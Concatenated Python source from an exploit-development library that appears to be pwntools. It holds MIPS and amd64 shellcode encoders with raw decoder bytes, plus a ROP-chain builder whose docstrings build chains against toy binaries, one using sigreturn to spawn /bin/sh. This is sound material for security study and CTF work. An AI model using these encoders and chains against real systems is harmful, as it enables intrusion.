    "\x82\x82\x08\x28",    # slti   t0,zero,-32126
    "\xe2\xff\xfd\x23",    # addi   sp,ra,-30
    "\x27\x58\x60\x01",    # nor    t3,t3,zero
    "\x21\xc8\xeb\x03",    # addu   t9,ra,t3
    "\x82\x82\x17\x28",    # slti   s7,zero,-32126
    "\xfc\xff\x31\x8f",    # lw s1,-4(t9)
    "\xfb\xff\x0c\x24",    # li t4,-5
    "\x27\x60\x80\x01",    # nor    t4,t4,zero
    "\xfd\xff\x8f\x21",    # addi   t7,t4,-3
    "\xfc\xff\x28\x8f",    # lw t0,-4(t9)
    "\x21\xb8\xef\x02",    # addu   s7,s7,t7
    "\x26\x18\x11\x01",    # xor    v1,t0,s1
    "\x2b\xf0\xee\x02",    # sltu   s8,s7,t6
    "\xfc\xff\x23\xaf",    # sw v1,-4(t9)
    "\xfa\xff\x1e\x14",    # bne    zero,s8,3c <loop>
    "\x21\xc8\x2c\x03",    # addu   t9,t9,t4
    "\xfd\xff\x86\x21",    # addi   a2,t4,-3
    "\xf8\xff\xa6\xaf",    # sw a2,-8(sp)
    "\x26\x28\xce\x01",    # xor    a1,t6,t6
    "\xfc\xff\xa5\xaf",    # sw a1,-4(sp)
    "\xf8\xff\xa4\x27",    # addiu  a0,sp,-8
    "\x46\x10\x02\x24",    # li v0,4166
    "\x0c\x54\x4a\x01"     # syscall   0x52950
    ]),
    'big': ''.join([
    "\x24\x0eSIZ1SIZ2",    # li t6,-5
    "\x01\xc0\x70\x27",    # nor    t6,t6,zero
    "\x24\x0b\xff\xa3",    # li t3,-93
    "\x01\xce\x40\x26",    # xor    t0,t6,t6
    "\x21\x08\xff\xff",    # addi   t0,t0,-1
    "\x05\x10\xff\xff",    # bltzal t0,14 <next>
    "\x28\x08\x82\x82",    # slti   t0,zero,-32126
    "\x23\xfd\xff\xe2",    # addi   sp,ra,-30
    "\x01\x60\x58\x27",    # nor    t3,t3,zero
    "\x03\xeb\xc8\x21",    # addu   t9,ra,t3
    "\x28\x17\x82\x82",    # slti   s7,zero,-32126
    "\x8f\x31\xff\xfc",    # lw s1,-4(t9)
    "\x24\x0c\xff\xfb",    # li t4,-5
    "\x01\x80\x60\x27",    # nor    t4,t4,zero
    "\x21\x8f\xff\xfd",    # addi   t7,t4,-3
    "\x8f\x28\xff\xfc",    # lw t0,-4(t9)
    "\x02\xef\xb8\x21",    # addu   s7,s7,t7
    "\x01\x11\x18\x26",    # xor    v1,t0,s1
    "\x02\xee\xf0\x2b",    # sltu   s8,s7,t6
    "\xaf\x23\xff\xfc",    # sw v1,-4(t9)
    "\x14\x1e\xff\xfa",    # bne    zero,s8,3c <loop>
    "\x03\x2c\xc8\x21",    # addu   t9,t9,t4
    "\x21\x86\xff\xfd",    # addi   a2,t4,-3
    "\xaf\xa6\xff\xf8",    # sw a2,-8(sp)
    "\x01\xce\x28\x26",    # xor    a1,t6,t6
    "\xaf\xa5\xff\xfc",    # sw a1,-4(sp)
    "\x27\xa4\xff\xf8",    # addiu  a0,sp,-8
    "\x24\x02\x10\x46",    # li v0,4166
    "\x01\x4a\x54\x0c"    # syscall 0x52950
    ])
}



class MipsXorEncoder(Encoder):
    r"""Generates an XOR decoder for MIPS.

    >>> context.clear(arch='mips')
    >>> shellcode = asm(shellcraft.sh())
    >>> avoid = '/bin/sh\x00'
    >>> encoded = pwnlib.encoders.mips.xor.encode(shellcode, avoid)
    >>> assert not any(c in encoded for c in avoid)
    >>> p = run_shellcode(encoded)
    >>> p.sendline('echo hello; exit')
    >>> p.recvline()
    'hello\n'
    """

    blacklist = cannot_avoid = set(''.join(v for v in decoders.values()))

    def __call__(self, raw_bytes, avoid, pcreg=''):

        assert 0 == len(raw_bytes) % context.bytes, "Payload is not aligned"

        size = (len(raw_bytes)/4) + 1
        assert size < 0x10000, "Payload is too long"

        size   = size ^ 0xffff
        sizelo = size & 0xff
        sizehi = size >> 8

        decoder = str(decoders[context.endian])
        decoder = decoder.replace('SIZ1', chr(sizehi))
        decoder = decoder.replace('SIZ2', chr(sizelo))

        key, data = xor_key(raw_bytes, avoid=avoid)

        return decoder + key + data

encode = MipsXorEncoder()






from ..i386.delta import i386DeltaEncoder


class amd64DeltaEncoder(i386DeltaEncoder):
    """
    amd64 encoder built on delta-encoding.

    In addition to the loader stub, doubles the size of the shellcode.

    >>> context.clear(arch='amd64')
    >>> shellcode = asm(shellcraft.sh())
    >>> avoid = '/bin/sh\x00'
    >>> encoded = pwnlib.encoders.amd64.delta.encode(shellcode, avoid)
    >>> assert not any(c in encoded for c in avoid)
    >>> p = run_shellcode(encoded)
    >>> p.sendline('echo hello; exit')
    >>> p.recvline()
    """
    assembly = '''
base:
    lea         rsi, base[rip]
    /* add rsi, (data-base) */
    .byte 0x48, 0x83, 0xc6, (data - base)
    cld
    mov         rdi, rsi

next:
    lodsb
    xchg        eax, ebx
    lodsb
    sub         al, bl
    stosb
    sub         bl, 0xac
    jnz         next

data:
'''
    arch      = 'amd64'
    raw       = 'H\x8d5\xf9\xff\xff\xffH\x83\xc6\x1a\xfcH\x89\xf7\xac\x93\xac(\xd8\xaa\x80\xeb\xacu\xf5'
    blacklist = set(raw)

encode = amd64DeltaEncoder()
__all__ = [encode]






from . import delta






r"""
Return Oriented Programming

Manual ROP
-------------------

The ROP tool can be used to build stacks pretty trivially.
Let's create a fake binary which has some symbols which might
have been useful.

    >>> context.clear(arch='i386')
    >>> binary = ELF.from_assembly('add esp, 0x10; ret')
    >>> binary.symbols = {'read': 0xdeadbeef, 'write': 0xdecafbad, 'exit': 0xfeedface}

Creating a ROP object which looks up symbols in the binary is
pretty straightforward.

    >>> rop = ROP(binary)

With the ROP object, you can manually add stack frames.

    >>> rop.raw(0)
    >>> rop.raw(unpack('abcd'))
    >>> rop.raw(2)

Inspecting the ROP stack is easy, and laid out in an easy-to-read
manner.

    >>> print rop.dump()
    0x0000:              0x0
    0x0004:       0x64636261
    0x0008:              0x2

The ROP module is also aware of how to make function calls with
standard Linux ABIs.

    >>> rop.call('read', [4,5,6])
    >>> print rop.dump()
    0x0000:              0x0
    0x0004:       0x64636261
    0x0008:              0x2
    0x000c:       0xdeadbeef read(4, 5, 6)
    0x0010:           'eaaa' <pad>
    0x0014:              0x4 arg0
    0x0018:              0x5 arg1
    0x001c:              0x6 arg2

You can also use a shorthand to invoke calls.
The stack is automatically adjusted for the next frame

    >>> rop.write(7,8,9)
    >>> rop.exit()
    >>> print rop.dump()
    0x0000:              0x0
    0x0004:       0x64636261
    0x0008:              0x2
    0x000c:       0xdeadbeef read(4, 5, 6)
    0x0010:       0x10000000 <adjust: add esp, 0x10; ret>
    0x0014:              0x4 arg0
    0x0018:              0x5 arg1
    0x001c:              0x6 arg2
    0x0020:           'iaaa' <pad>
    0x0024:       0xdecafbad write(7, 8, 9)
    0x0028:       0x10000000 <adjust: add esp, 0x10; ret>
    0x002c:              0x7 arg0
    0x0030:              0x8 arg1
    0x0034:              0x9 arg2
    0x0038:           'oaaa' <pad>
    0x003c:       0xfeedface exit()
    0x0040:           'qaaa' <pad>

ROP Example
-------------------

Let's assume we have a trivial binary that just reads some data
onto the stack, and returns.

    >>> context.clear(arch='i386')
    >>> c = constants
    >>> assembly =  'read:'      + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)
    >>> assembly += 'ret\n'

Let's provide some simple gadgets:

    >>> assembly += 'add_esp: add esp, 0x10; ret\n'

And perhaps a nice "write" function.

    >>> assembly += 'write: enter 0,0\n'
    >>> assembly += '    mov ebx, [ebp+4+4]\n'
    >>> assembly += '    mov ecx, [ebp+4+8]\n'
    >>> assembly += '    mov edx, [ebp+4+12]\n'
    >>> assembly += shellcraft.write('ebx', 'ecx', 'edx')
    >>> assembly += '    leave\n'
    >>> assembly += '    ret\n'
    >>> assembly += 'flag: .asciz "The flag"\n'

And a way to exit cleanly.

    >>> assembly += 'exit: ' + shellcraft.exit(0)
    >>> binary   = ELF.from_assembly(assembly)

Finally, let's build our ROP stack

    >>> rop = ROP(binary)
    >>> rop.write(c.STDOUT_FILENO, binary.symbols['flag'], 8)
    >>> rop.exit()
    >>> print rop.dump()
    0x0000:       0x10000012 write(STDOUT_FILENO, 268435494, 8)
    0x0004:       0x1000000e <adjust: add esp, 0x10; ret>
    0x0008:              0x1 arg0
    0x000c:       0x10000026 flag
    0x0010:              0x8 arg2
    0x0014:           'faaa' <pad>
    0x0018:       0x1000002f exit()
    0x001c:           'haaa' <pad>

The raw data from the ROP stack is available via `str`.

    >>> raw_rop = str(rop)
    >>> print enhex(raw_rop)
    120000100e000010010000002600001008000000666161612f00001068616161

Let's try it out!

    >>> p = process(binary.path)
    >>> p.send(raw_rop)
    >>> print p.recvall(timeout=5)
    The flag

ROP + Sigreturn
-----------------------

In some cases, control of the desired register is not available.
However, if you have control of the stack, EAX, and can find a
`int 0x80` gadget, you can use sigreturn.

Even better, this happens automagically.

Our example binary will read some data onto the stack, and
not do anything else interesting.

    >>> context.clear(arch='i386')
    >>> c = constants
    >>> assembly =  'read:'      + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)
    >>> assembly += 'ret\n'
    >>> assembly += 'pop eax; ret\n'
    >>> assembly += 'int 0x80\n'
    >>> assembly += 'binsh: .asciz "/bin/sh"'
    >>> binary    = ELF.from_assembly(assembly)

Let's create a ROP object and invoke the call.

    >>> context.kernel = 'amd64'
    >>> rop   = ROP(binary)
    >>> binsh = binary.symbols['binsh']
    >>> rop.execve(binsh, 0, 0)

That's all there is to it.

    >>> print rop.dump()
    0x0000:       0x1000000e pop eax; ret
    0x0004:             0x77
    0x0008:       0x1000000b int 0x80
    0x000c:              0x0 gs
    0x0010:              0x0 fs
    0x0014:              0x0 es
    0x0018:              0x0 ds
    0x001c:              0x0 edi
    0x0020:              0x0 esi
    0x0024:              0x0 ebp
    0x0028:              0x0 esp
    0x002c:       0x10000012 ebx = binsh
    0x0030:              0x0 edx
    0x0034:              0x0 ecx
    0x0038:              0xb eax
    0x003c:              0x0 trapno
    0x0040:              0x0 err
    0x0044:       0x1000000b int 0x80
    0x0048:             0x23 cs
    0x004c:              0x0 eflags
    0x0050:              0x0 esp_at_signal
    0x0054:             0x2b ss
    0x0058:              0x0 fpstate

Let's try it out!

    >>> p = process(binary.path)
    >>> p.send(str(rop))
    >>> time.sleep(1)
    >>> p.sendline('echo hello; exit')
    >>> p.recvline()
    'hello\n'
"""
import collections
import copy
import hashlib
import os
import re
import sys
import tempfile

from . import srop
from .. import abi
from .. import constants
from ..context import LocalContext
from ..context import context
from ..elf import ELF
from ..log import getLogger
from ..util import cyclic
from ..util import lists
from ..util import packing
from ..util.packing import *
from .call import AppendedArgument
from .call import Call
from .call import CurrentStackPointer
from .call import NextGadgetAddress
from .call import StackAdjustment
from .gadgets import Gadget

log = getLogger(__name__)
__all__ = ['ROP']


class Padding(object):
    """
    Placeholder for exactly one pointer-width of padding.
    """

class DescriptiveStack(list):
    """
    List of resolved ROP gadgets that correspond to the ROP calls that
    the user has specified.  Also includes
    """

    #: Base address
    address = 0

    #: Dictionary of ``{address: [list of descriptions]}``
    descriptions = {}

    def __init__(self, address):
        self.descriptions = collections.defaultdict(lambda: [])
        self.address      = address or 0

    @property
    def next(self):
        return self.address + len(self) * context.bytes

    def describe(self, text, address = None):
        if address is None:
            address = self.next
        self.descriptions[address] = text

    def dump(self):
        rv = []
        for i, data in enumerate(self):
            addr = self.address + i * context.bytes
            off = None
            line = '0x%04x:' % addr
            if isinstance(data, str):
                line += ' %16r' % data
            elif isinstance(data, (int,long)):
                line += ' %#16x' % data
                if self.address != 0 and self.address < data < self.next:
                    off = data - addr
            else:
                log.error("Don't know how to dump %r" % data)
            desc = self.descriptions.get(addr, '')
            if desc:
                line += ' %s' % desc
            if off is not None:
                line += ' (+%#x)' % off
            rv.append(line)

        return '\n'.join(rv)


class ROP(object):
    r"""Class which simplifies the generation of ROP-chains.

    Example:

    .. code-block:: python

       elf = ELF('ropasaurusrex')
       rop = ROP(elf)
       rop.read(0, elf.bss(0x80))
       rop.dump()
       # ['0x0000:        0x80482fc (read)',
       #  '0x0004:       0xdeadbeef',
       #  '0x0008:              0x0',
       #  '0x000c:        0x80496a8']
       str(rop)
       # '\xfc\x82\x04\x08\xef\xbe\xad\xde\x00\x00\x00\x00\xa8\x96\x04\x08'

    >>> context.clear(arch = "i386", kernel = 'amd64')
    >>> assembly = 'int 0x80; ret; add esp, 0x10; ret; pop eax; ret'
    >>> e = ELF.from_assembly(assembly)
    >>> e.symbols['funcname'] = e.address + 0x1234
    >>> r = ROP(e)
    >>> r.funcname(1, 2)
    >>> r.funcname(3)
    >>> r.execve(4, 5, 6)
    >>> print r.dump()
    0x0000:       0x10001234 funcname(1, 2)
    0x0004:       0x10000003 <adjust: add esp, 0x10; ret>
    0x0008:              0x1 arg0
    0x000c:              0x2 arg1
    0x0010:           'eaaa' <pad>
    0x0014:           'faaa' <pad>
    0x0018:       0x10001234 funcname(3)
    0x001c:       0x10000007 <adjust: pop eax; ret>
    0x0020:              0x3 arg0
    0x0024:       0x10000007 pop eax; ret
    0x0028:             0x77
    0x002c:       0x10000000 int 0x80
    0x0030:              0x0 gs
    0x0034:              0x0 fs
    0x0038:              0x0 es
    0x003c:              0x0 ds
    0x0040:              0x0 edi
    0x0044:              0x0 esi
    0x0048:              0x0 ebp
    0x004c:              0x0 esp
    0x0050:              0x4 ebx
    0x0054:              0x6 edx
    0x0058:              0x5 ecx
    0x005c:              0xb eax
    0x0060:              0x0 trapno
    0x0064:              0x0 err
    0x0068:       0x10000000 int 0x80
    0x006c:             0x23 cs
    0x0070:              0x0 eflags
    0x0074:              0x0 esp_at_signal
    0x0078:             0x2b ss
    0x007c:              0x0 fpstate

    >>> r = ROP(e, 0x8048000)
    >>> r.funcname(1, 2)
    >>> r.funcname(3)
    >>> r.execve(4, 5, 6)
    >>> print r.dump()
    0x8048000:       0x10001234 funcname(1, 2)
    0x8048004:       0x10000003 <adjust: add esp, 0x10; ret>
    0x8048008:              0x1 arg0
    0x804800c:              0x2 arg1
    0x8048010:           'eaaa' <pad>
    0x8048014:           'faaa' <pad>
    0x8048018:       0x10001234 funcname(3)
    0x804801c:       0x10000007 <adjust: pop eax; ret>
    0x8048020:              0x3 arg0
    0x8048024:       0x10000007 pop eax; ret
    0x8048028:             0x77
    0x804802c:       0x10000000 int 0x80
    0x8048030:              0x0 gs
    0x8048034:              0x0 fs
    0x8048038:              0x0 es
    0x804803c:              0x0 ds
    0x8048040:              0x0 edi
    0x8048044:              0x0 esi
    0x8048048:              0x0 ebp
    0x804804c:        0x8048080 esp
    0x8048050:              0x4 ebx
    0x8048054:              0x6 edx
    0x8048058:              0x5 ecx
    0x804805c:              0xb eax
    0x8048060:              0x0 trapno
    0x8048064:              0x0 err
    0x8048068:       0x10000000 int 0x80
    0x804806c:             0x23 cs
    0x8048070:              0x0 eflags
    0x8048074:              0x0 esp_at_signal
    0x8048078:             0x2b ss
    0x804807c:              0x0 fpstate
    """
    #: List of individual ROP gadgets, ROP calls, SROP frames, etc.
    #: This is intended to be the highest-level abstraction that we can muster.
    _chain = []

    #: List of ELF files which are available for mining gadgets
    elfs = []

    #: Stack address where the first byte of the ROP chain lies, if known.
    base = 0

    #: Alignment of the ROP chain; generally the same as the pointer size
    align = 4

    #: Whether or not the ROP chain directly sets the stack pointer to a value
    #: which is not contiguous
    migrated = False

    def __init__(self, elfs, base = None, **kwargs):
        """
        Arguments:
            elfs(list): List of ``pwnlib.elf.ELF`` objects for mining
        """
        import ropgadget

        # Permit singular ROP(elf) vs ROP([elf])
        if isinstance(elfs, ELF):
            elfs = [elfs]
        elif isinstance(elfs, (str, unicode)):
            elfs = [ELF(elfs)]
        self.elfs = elfs
        self._chain = []
        self.base = base
        self.align = max((e.elfclass for e in elfs)) / 8
        self.migrated = False
        self.__load()

    @staticmethod
    @LocalContext
    def from_blob(blob, *a, **kw):
        return ROP(ELF.from_bytes(blob, *a, **kw))

    def setRegisters(self, registers):
        """
        Returns an OrderedDict of addresses/values which will set the specified
        register context.

        Arguments:
            registers(dict): Dictionary of ``{register name: value}``

        Returns:
            An OrderedDict of ``{register: sequence of gadgets, values, etc.}``.
        """
        reg_order = collections.OrderedDict()

        for reg, value in registers.items():
            gadget = self.find_gadget(['pop ' + reg, 'ret'])
            if not gadget:
                log.error("can't set %r" % reg)
            reg_order[reg] = [gadget, value]

        return reg_order

    def resolve(self, resolvable):
        """Resolves a symbol to an address

        Arguments:
            resolvable(str,int): Thing to convert into an address

        Returns:
            int containing address of 'resolvable', or None
        """
        if isinstance(resolvable, str):
            for elf in self.elfs:
                if resolvable in elf.symbols:
                    return elf.symbols[resolvable]

        if isinstance(resolvable, (int, long)):
            return resolvable

    def unresolve(self, value):
        """Inverts 'resolve'.  Given an address, it attempts to find a symbol
        for it in the loaded ELF files.  If none is found, it searches all
        known gadgets, and returns the disassembly

        Arguments:
            value(int): Address to look up

        Returns:
            String containing the symbol name for the address, disassembly for a gadget
            (if there's one at that address), or an empty string.
        """
        for elf in self.elfs:
            for name, addr in elf.symbols.items():
                if addr == value:
                    return name

        if value in self.gadgets:
            return '; '.join(self.gadgets[value].insns)
        return ''

    def generatePadding(self, offset, count):
        """
        Generates padding to be inserted into the ROP stack.
        """
        return cyclic.cyclic(offset + count)[-count:]

    def describe(self, object):
        """
        Return a description for an object in the ROP stack
        """
        if isinstance(object, (int, long)):
            return self.unresolve(object)
        if isinstance(object, str):
            return repr(object)
        if isinstance(object, Call):
            return str(object)
        if isinstance(object, Gadget):
            return '; '.join(object.insns)

    def build(self, base = None, description = None):
        """
        Construct the ROP chain into a list of elements which can be passed
        to ``pwnlib.util.packing.flat``.

        Arguments:
            base(int):
                The base address to build the rop-chain from. Defaults to
                :attr:`base`.
            description(dict):
                Optional output argument, which will gets a mapping of
                ``address: description`` for each address on the stack,
                starting at ``base``.
        """
        if base is None:
            base = self.base or 0

        stack = DescriptiveStack(base)
        chain = self._chain

        #
        # First pass
        #
        # Get everything onto the stack and save as much descriptive information
        # as possible.
        #
        # The only replacements performed are to add stack adjustment gadgets
        # (to move SP to the next gadget after a Call) and NextGadgetAddress,
        # which can only be calculated in this pass.
        #
        iterable = enumerate(chain)
        for idx, slot in iterable:

            remaining = len(chain) - 1 - idx
            address   = stack.next

            # Integers can just be added.
            # Do our best to find out what the address is.
            if isinstance(slot, (int, long)):
                stack.describe(self.describe(slot))
                stack.append(slot)


            # Byte blobs can also be added, however they must be
            # broken down into pointer-width blobs.
            elif isinstance(slot, (str, unicode)):
                stack.describe(self.describe(slot))
                slot += self.generatePadding(stack.next, len(slot) % context.bytes)

                for chunk in lists.group(context.bytes, slot):
                    stack.append(chunk)

            elif isinstance(slot, srop.SigreturnFrame):
                stack.describe("Sigreturn Frame")

                if slot.sp in (0, None) and self.base:
                    slot.sp = stack.next + len(slot)

                registers = [slot.registers[i] for i in sorted(slot.registers.keys())]
                for register in registers:
                    value       = slot[register]
                    description = self.describe(value)
                    if description:
                        stack.describe('%s = %s' % (register, description))
                    else:
                        stack.describe('%s' % (register))
                    stack.append(value)

            elif isinstance(slot, Call):
                stack.describe(self.describe(slot))

                registers    = dict(zip(slot.abi.register_arguments, slot.args))
                setRegisters = self.setRegisters(registers)

                for register, gadgets in setRegisters.items():
                    value       = registers[register]
                    description = self.describe(value) or 'arg%i' % slot.args.index(value)
                    stack.describe('set %s = %s' % (register, description))
                    stack.extend(gadgets)

                if address != stack.next:
                    stack.describe(slot.name)

                stack.append(slot.target)

                # For any remaining arguments, put them on the stack
                stackArguments = slot.args[len(slot.abi.register_arguments):]
                nextGadgetAddr = stack.next + (context.bytes * len(stackArguments))

                # Generally, stack-based arguments assume there's a return
                # address on the stack.
                #
                # We need to at least put padding there so that things line up
                # properly, but likely also need to adjust the stack past the
                # arguments.
                if slot.abi.returns:
                    if remaining:
                        fix_size  = (1 + len(stackArguments))
                        fix_bytes = fix_size * context.bytes
                        adjust   = self.search(move = fix_bytes)

                        if not adjust:
                            log.error("Could not find gadget to adjust stack by %#x bytes" % fix_bytes)

                        nextGadgetAddr = stack.next + adjust.move

                        stack.describe('<adjust: %s>' % self.describe(adjust))
                        stack.append(adjust.address)

                        for pad in range(fix_bytes, adjust.move, context.bytes):
                            stackArguments.append(Padding())
                    else:
                        stack.describe('<pad>')
                        stack.append(Padding())


                for i, argument in enumerate(stackArguments):

                    if isinstance(argument, NextGadgetAddress):
                        stack.describe("<next gadget>")
                        stack.append(nextGadgetAddr)

                    else:
                        description = self.describe(argument) or 'arg%i' % (i + len(registers))
                        stack.describe(description)
                        stack.append(argument)
            else:
                stack.append(slot)
        #
        # Second pass
        #
        # All of the register-loading, stack arguments, and call addresses
        # are on the stack.  We can now start loading in absolute addresses.
        #
        start = base
        end   = stack.next
        size  = (stack.next - base)
        for i, slot in enumerate(stack):
            slot_address = stack.address + (i * context.bytes)
            if isinstance(slot, (int, long)):
                pass

            elif isinstance(slot, (str, unicode)):
                pass

            elif isinstance(slot, AppendedArgument):
                stack[i] = stack.next
                stack.extend(slot.resolve(stack.next))

            elif isinstance(slot, CurrentStackPointer):
                stack[i] = slot_address

            elif isinstance(slot, Padding):
                stack[i] = self.generatePadding(i * context.bytes, context.bytes)
                stack.describe('<pad>', slot_address)

            elif isinstance(slot, Gadget):
                stack[i] = slot.address
                stack.describe(self.describe(slot), slot_address)

            # Everything else we can just leave in place.
            # Maybe the user put in something on purpose?
            # Also, it may work in pwnlib.util.packing.flat()
            else:
                pass

        return stack


    def find_stack_adjustment(self, slots):
        self.search(move=slots * context.arch)

    def chain(self):
        """Build the ROP chain

        Returns:
            str containing raw ROP bytes
        """
        return packing.flat(self.build(), word_size=8 * self.align)

    def dump(self):
        """Dump the ROP chain in an easy-to-read manner"""
        return self.build().dump()

    def regs(self, registers=None, **kw):
        if registers is None:
            registers = {}
        registers.update(kw)



    def call(self, resolvable, arguments = (), abi = None, **kwargs):
        """Add a call to the ROP chain

        Arguments:
            resolvable(str,int): Value which can be looked up via 'resolve',
                or is already an integer.
            arguments(list): List of arguments which can be passed to pack().
                Alternately, if a base address is set, arbitrarily nested
                structures of strings or integers can be provided.
        """
        if self.migrated:
            log.error('Cannot append to a migrated chain')

        # If we can find a function with that name, just call it
        if isinstance(resolvable, str):
            addr = self.resolve(resolvable)
        else:
            addr = resolvable
            resolvable = ''

        if addr:
            self.raw(Call(resolvable, addr, arguments, abi))

        # Otherwise, if it is a syscall we might be able to call it
        elif not self._srop_call(resolvable, arguments):
            log.error('Could not resolve %r.' % resolvable)



    def _srop_call(self, resolvable, arguments):
        # Check that the call is a valid syscall
        resolvable    = 'SYS_' + resolvable.lower()
        syscall_number = getattr(constants, resolvable, None)
        if syscall_number is None:
            return False

        log.info_once("Using sigreturn for %r" % resolvable)

        # Find an int 0x80 or similar instruction we can use
        syscall_gadget       = None
        syscall_instructions = srop.syscall_instructions[context.arch]

        for instruction in syscall_instructions:
            syscall_gadget = self.find_gadget([instruction])
            if syscall_gadget:
                break
        else:
            log.error("Could not find any instructions in %r" % syscall_instructions)

        # Generate the SROP frame which would invoke the syscall
        with context.local(arch=self.elfs[0].arch):
            frame         = srop.SigreturnFrame()
            frame.pc      = syscall_gadget
            frame.syscall = syscall_number

            try:
                SYS_sigreturn  = constants.SYS_sigreturn
            except AttributeError:
                SYS_sigreturn  = constants.SYS_rt_sigreturn

            for register, value in zip(frame.arguments, arguments):
                frame[register] = value

        # Set up a call frame which will set EAX and invoke the syscall
        call = Call('SYS_sigreturn',
                    syscall_gadget,
                    [SYS_sigreturn],
                    abi.ABI.sigreturn())

        self.raw(call)
        self.raw(frame)


        # We do not expect to ever recover after the syscall, as it would
        # require something like 'int 0x80; ret' which does not ever occur
        # in the wild.
        self.migrated = True

        return True

    def find_gadget(self, instructions):
        """
        Returns a gadget with the exact sequence of instructions specified
        in the ``instructions`` argument.
        """
        n = len(instructions)
        for gadget in self.gadgets.values():
            if tuple(gadget.insns)[:n] == tuple(instructions):
                return gadget


    def raw(self, value):
        """Adds a raw integer or string to the ROP chain.

        If your architecture requires aligned values, then make
        sure that any given string is aligned!

        Arguments:
            data(int/str): The raw value to put onto the rop chain.
        """
        if self.migrated:
            log.error('Cannot append to a migrated chain')
        self._chain.append(value)

    def migrate(self, next_base):
        """Explicitly set $sp, by using a ``leave; ret`` gadget"""
        if isinstance(next_base, ROP):
            next_base = self.base
        pop_sp = self.rsp or self.esp
        pop_bp = self.rbp or self.ebp
        leave  = self.leave
        if pop_sp and len(pop_sp.regs) == 1:
            self.raw(pop_sp)
            self.raw(next_base)
        elif pop_bp and leave and len(pop_bp.regs) == 1:
            self.raw(pop_bp)
            self.raw(next_base - 4)
            self.raw(leave)
        else:
            log.error('Cannot find the gadgets to migrate')
        self.migrated = True

    def __str__(self):
        """Returns: Raw bytes of the ROP chain"""
        return self.chain()

    def __get_cachefile_name(self, elf):
        basename = os.path.basename(elf.file.name)
        sha256 = hashlib.sha256(elf.get_data()).hexdigest()
        cachedir = os.path.join(tempfile.gettempdir(), 'pwntools-rop-cache')
        if not os.path.exists(cachedir):
            os.mkdir(cachedir)
        return os.path.join(cachedir, sha256)

    def __cache_load(self, elf):
        filename = self.__get_cachefile_name(elf)
        if not os.path.exists(filename):
            return None
        log.info_once('Loaded cached gadgets for %r' % elf.file.name)
        gadgets = eval(file(filename).read())
        gadgets = {k - elf.load_addr + elf.address:v for k, v in gadgets.items()}
        return gadgets

    def __cache_save(self, elf, data):
        data = {k + elf.load_addr - elf.address:v for k, v in data.items()}
        file(self.__get_cachefile_name(elf), 'w+').write(repr(data))

    def __load(self):
        """Load all ROP gadgets for the selected ELF files"""
        #
        # We accept only instructions that look like these.
        #
        # - leave
        # - pop reg
        # - add $sp, value
        # - ret
        #
        # Currently, ROPgadget does not detect multi-byte "C2" ret.
        # https://github.com/JonathanSalwan/ROPgadget/issues/53
        #

        pop   = re.compile(r'^pop (.{3})')
        add   = re.compile(r'^add .sp, (\S+)$')
        ret   = re.compile(r'^ret$')
        leave = re.compile(r'^leave$')
        int80 = re.compile(r'int +0x80')
        syscall = re.compile(r'^syscall$')
        sysenter = re.compile(r'^sysenter$')

        #
        # Validation routine
        #
        # >>> valid('pop eax')
        # True
        # >>> valid('add rax, 0x24')
        # False
        # >>> valid('add esp, 0x24')
        # True
        #
        valid = lambda insn: any(map(lambda pattern: pattern.match(insn), [pop,add,ret,leave,int80,syscall,sysenter]))

        #
        # Currently, ropgadget.args.Args() doesn't take any arguments, and pulls
        # only from sys.argv.  Preserve it through this call.  We also
        # monkey-patch sys.stdout to suppress output from ropgadget.
        #
        argv = sys.argv
        stdout = sys.stdout

        class Wrapper:

            def __init__(self, fd):
                self._fd = fd

            def write(self, s):
                pass

            def __getattr__(self, k):
                return self._fd.__getattribute__(k)

        gadgets = {}
        for elf in self.elfs:
            cache = self.__cache_load(elf)
            if cache:
                gadgets.update(cache)
                continue
            log.info_once('Loading gadgets for %r' % elf.path)
            try:
                sys.stdout = Wrapper(sys.stdout)
                import ropgadget
                sys.argv = ['ropgadget', '--binary', elf.path, '--only', 'sysenter|syscall|int|add|pop|leave|ret', '--nojop']
                args = ropgadget.args.Args().getArgs()
                core = ropgadget.core.Core(args)
                core.do_binary(elf.path)
                core.do_load(0)
            finally:
                sys.argv = argv
                sys.stdout = stdout

            elf_gadgets = {}
            for gadget in core._Core__gadgets:
                address = gadget['vaddr'] - elf.load_addr + elf.address
                insns = [ g.strip() for g in gadget['gadget'].split(';') ]
                if all(map(valid, insns)):
                    elf_gadgets[address] = insns

            self.__cache_save(elf, elf_gadgets)
            gadgets.update(elf_gadgets)

        #
        # For each gadget we decided to keep, find out how much it moves the stack,
        # and log which registers it modifies.
        #
        self.gadgets = {}
        self.pivots = {}
        frame_regs = ['ebp', 'esp'] if self.align == 4 else ['rbp', 'rsp']
        for addr, insns in gadgets.items():
            sp_move = 0
            regs = []
            for insn in insns:
                if pop.match(insn):
                    regs.append(pop.match(insn).group(1))
                    sp_move += self.align
                elif add.match(insn):
                    sp_move += int(add.match(insn).group(1), 16)
                elif ret.match(insn):
                    sp_move += self.align
                elif leave.match(insn):
                    #
                    # HACK: Since this modifies ESP directly, this should
                    #       never be returned as a 'normal' ROP gadget that
                    #       simply 'increments' the stack.
                    #
                    #       As such, the 'move' is set to a very large value,
                    #       to prevent .search() from returning it unless $sp
                    #       is specified as a register.
                    #
                    sp_move += 9999999999
                    regs += frame_regs

            # Permit duplicates, because blacklisting bytes in the gadget
            # addresses may result in us needing the dupes.
            self.gadgets[addr] = Gadget(addr, insns, regs, sp_move)

            # Don't use 'pop esp' for pivots
            if not set(['rsp', 'esp']) & set(regs):
                self.pivots[sp_move] = addr

        leave = self.search(regs=frame_regs, order='regs')
        if leave and leave.regs != frame_regs:
            leave = None
        self.leave = leave

    def __repr__(self):
        return 'ROP(%r)' % self.elfs

    def search_iter(self, move=None, regs=None):
        """
        Iterate through all gadgets which move the stack pointer by
        *at least* ``move`` bytes, and which allow you to set all
        registers in ``regs``.
        """
        move = move or 0
        regs = set(regs or ())

        for addr, gadget in self.gadgets.items():
            if gadget.move < move:          continue
            if not (regs <= set(gadget.regs)):   continue
            yield gadget

    def search(self, move = 0, regs = None, order = 'size'):
        """Search for a gadget which matches the specified criteria.

        Arguments:
            move(int): Minimum number of bytes by which the stack
                pointer is adjusted.
            regs(list): Minimum list of registers which are popped off the
                stack.
            order(str): Either the string 'size' or 'regs'. Decides how to
                order multiple gadgets the fulfill the requirements.

        The search will try to minimize the number of bytes popped more than
        requested, the number of registers touched besides the requested and
        the address.

        If ``order == 'size'``, then gadgets are compared lexicographically
        by ``(total_moves, total_regs, addr)``, otherwise by ``(total_regs, total_moves, addr)``.

        Returns:
